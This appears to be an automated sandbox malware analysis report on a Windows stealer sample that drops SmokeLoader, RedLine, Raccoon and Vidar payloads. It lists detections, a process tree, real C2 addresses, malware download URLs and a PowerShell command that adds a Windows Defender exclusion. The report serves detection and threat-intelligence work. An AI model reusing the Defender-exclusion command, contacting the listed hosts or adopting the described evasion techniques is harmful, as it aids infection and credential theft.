Play interactive tour

Edit tour

Windows Analysis Report y8WngeDn4q.exe

Overview

General Information

Sample Name:	y8WngeDn4q.exe
Analysis ID:	511828
MD5:	2ba5d1028f7babca366060bde97bf482
SHA1:	98c817b375bb002c37c8dfb778116e4c5d07cd79
SHA256:	555fd11933a1bb3a71714e1c234cdeaf7ea3c614f24eebec3786fb61cb3b5b5e
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

Raccoon RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected AntiVM3

Yara detected Vidar

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Found malware configuration

Yara detected UAC Bypass using CMSTP

DLL reload attack detected

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Sample uses process hollowing technique

Writes to foreign memory regions

Renames NTDLL to bypass HIPS

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

y8WngeDn4q.exe (PID: 4892 cmdline: 'C:\Users\user\Desktop\y8WngeDn4q.exe' MD5: 2BA5D1028F7BABCA366060BDE97BF482)

y8WngeDn4q.exe (PID: 6372 cmdline: 'C:\Users\user\Desktop\y8WngeDn4q.exe' MD5: 2BA5D1028F7BABCA366060BDE97BF482)

explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

8908.exe (PID: 2288 cmdline: C:\Users\user\AppData\Local\Temp\8908.exe MD5: 2BA5D1028F7BABCA366060BDE97BF482)

8908.exe (PID: 2940 cmdline: C:\Users\user\AppData\Local\Temp\8908.exe MD5: 2BA5D1028F7BABCA366060BDE97BF482)

37D8.exe (PID: 6468 cmdline: C:\Users\user\AppData\Local\Temp\37D8.exe MD5: F57B28AEC65D4691202B9524F84CC54A)

AdvancedRun.exe (PID: 5988 cmdline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 1916 cmdline: 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 5988 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 5392 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

DataSvcUtil.exe (PID: 6420 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe MD5: CCDF8F3B189FFB839B390F695FAE2A6D)

SMSvcHost.exe (PID: 5468 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe MD5: 7EC8B56348F9298BCCA7A745C7F70E2C)

3FD8.exe (PID: 5400 cmdline: C:\Users\user\AppData\Local\Temp\3FD8.exe MD5: 787AF677D0C317E8062B9705CB64F951)

4EDC.exe (PID: 5004 cmdline: C:\Users\user\AppData\Local\Temp\4EDC.exe MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

60DF.exe (PID: 1768 cmdline: C:\Users\user\AppData\Local\Temp\60DF.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 780 cmdline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5192 cmdline: 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 4101d8 780 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 4836 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

6E1E.exe (PID: 6128 cmdline: C:\Users\user\AppData\Local\Temp\6E1E.exe MD5: 31BE6099D31BDBF1ED339EFFDC1C7064)

E4D7.exe (PID: 6552 cmdline: C:\Users\user\AppData\Local\Temp\E4D7.exe MD5: BB71D72E7391E33F98C1291C0F499BA6)

B74C.exe (PID: 4976 cmdline: C:\Users\user\AppData\Local\Temp\B74C.exe MD5: 3362B53647F312CD069D71E3662A9155)

C651.exe (PID: 3316 cmdline: C:\Users\user\AppData\Local\Temp\C651.exe MD5: FA00DF47BCC5F9AD16ED71856FB6F4D6)

D083.exe (PID: 5524 cmdline: C:\Users\user\AppData\Local\Temp\D083.exe MD5: FA6D8115D2266A121FE7C1552C0DDDFD)

esdfufc (PID: 5704 cmdline: C:\Users\user\AppData\Roaming\esdfufc MD5: 2BA5D1028F7BABCA366060BDE97BF482)

esdfufc (PID: 6124 cmdline: C:\Users\user\AppData\Roaming\esdfufc MD5: 2BA5D1028F7BABCA366060BDE97BF482)

csdfufc (PID: 5092 cmdline: C:\Users\user\AppData\Roaming\csdfufc MD5: 73252ACB344040DDC5D9CE78A5D3A4C2)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.9.20.149:10844"], "Bot Id": ""}

Threatname: SmokeLoader

{"C2 list": ["http://193.56.146.214/", "https://193.56.146.214/"]}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\60DF.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\D083.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\3FD8.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\FC0C.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7afd7:$x1: https://cdn.discordapp.com/attachments/
C:\Users\user\AppData\Local\Temp\37D8.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000022.00000000.568099425.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.412091703.0000000002091000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002A.00000002.634272090.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000E.00000002.482521678.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000000.394109827.0000000002801000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000013.00000003.572995540.0000000006BEB000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000000.568948579.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000016.00000002.530637179.0000000004B61000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.529516403.0000000003090000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000003.00000002.411806433.0000000000500000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001D.00000003.600140112.0000000002D7E000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000000.566418529.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000003.511213614.0000000003090000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000E.00000002.482408758.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000022.00000002.638081498.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.559098642.00000000049E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: 37D8.exe PID: 6468	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 37D8.exe PID: 6468	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: E4D7.exe PID: 6552	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
15.1.8908.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.8908.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.8908.exe.2b615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
14.0.esdfufc.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
24.0.60DF.exe.440000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
34.0.DataSvcUtil.exe.400000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.60DF.exe.440000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
21.0.3FD8.exe.2f0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
3.2.y8WngeDn4q.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.3FD8.exe.2f0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
43.0.D083.exe.720000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
43.0.D083.exe.720000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
21.0.3FD8.exe.2f0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
29.3.E4D7.exe.2db7106.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
21.0.3FD8.exe.2f0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x43bf:$x1: https://cdn.discordapp.com/attachments/
19.0.37D8.exe.ff0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
24.0.60DF.exe.440000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
43.2.D083.exe.720000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
19.0.37D8.exe.ff0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
14.0.esdfufc.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.2.4EDC.exe.3080e50.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
43.0.D083.exe.720000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
24.0.60DF.exe.440000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
14.2.esdfufc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.y8WngeDn4q.exe.47615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
3.1.y8WngeDn4q.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.8908.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
34.2.DataSvcUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
34.0.DataSvcUtil.exe.400000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.0.37D8.exe.ff0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
14.0.esdfufc.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
43.0.D083.exe.720000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x4443:$x1: https://cdn.discordapp.com/attachments/
29.3.E4D7.exe.48e0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
19.0.37D8.exe.ff0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x7b593:$x1: https://cdn.discordapp.com/attachments/ 0x7b647:$x1: https://cdn.discordapp.com/attachments/
15.0.8908.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.3.E4D7.exe.48e0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
42.2.SMSvcHost.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
34.0.DataSvcUtil.exe.400000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
14.1.esdfufc.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
22.3.4EDC.exe.3090000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
34.0.DataSvcUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.4EDC.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.esdfufc.2cb15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.0.8908.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
29.2.E4D7.exe.400000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
29.2.E4D7.exe.400000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Click to see the 41 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentImage: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentProcessId: 6468, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, ProcessId: 5392

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentImage: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentProcessId: 6468, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, ProcessId: 5392

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentImage: C:\Users\user\AppData\Local\Temp\37D8.exe, ParentProcessId: 6468, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force, ProcessId: 5392

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132800289446382233.5392.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.E4D7.exe.48e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.E4D7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.649599129.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.553896826.00000000048E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E4D7.exe PID: 6552, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://sysaheu90.top/game.exe	Avira URL Cloud: Label: malware
Source: http://znpst.top/dl/buildz.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://toptelete.top/agrybirdsgamerept	Avira URL Cloud: Label: malware
Source: http://hajezey1.top/	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 0000001B.00000002.558722900.00000000048B0000.00000004.00000001.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://193.56.146.214/", "https://193.56.146.214/"]}
Source: 34.0.DataSvcUtil.exe.400000.1.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["45.9.20.149:10844"], "Bot Id": ""}

Multi AV Scanner detection for submitted file

Show sources

Source: y8WngeDn4q.exe

Virustotal: Detection: 36%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: privacytoolzforyou-6000.top	Virustotal: Detection: 5%			Perma Link
Source: http://sysaheu90.top/game.exe	Virustotal: Detection: 16%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\3AE.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	ReversingLabs: Detection: 22%
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\B74C.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Temp\C651.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\D083.exe	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: y8WngeDn4q.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\E11F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DAA6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B74C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FBAD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\gbdfufc	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\csdfufc	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\esdfufc	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FC0C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C651.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D083.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E4D7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Joe Sandbox ML: detected

Source: 15.0.8908.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.8908.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.esdfufc.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.esdfufc.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.8908.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.esdfufc.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.esdfufc.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.8908.exe.400000.3.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

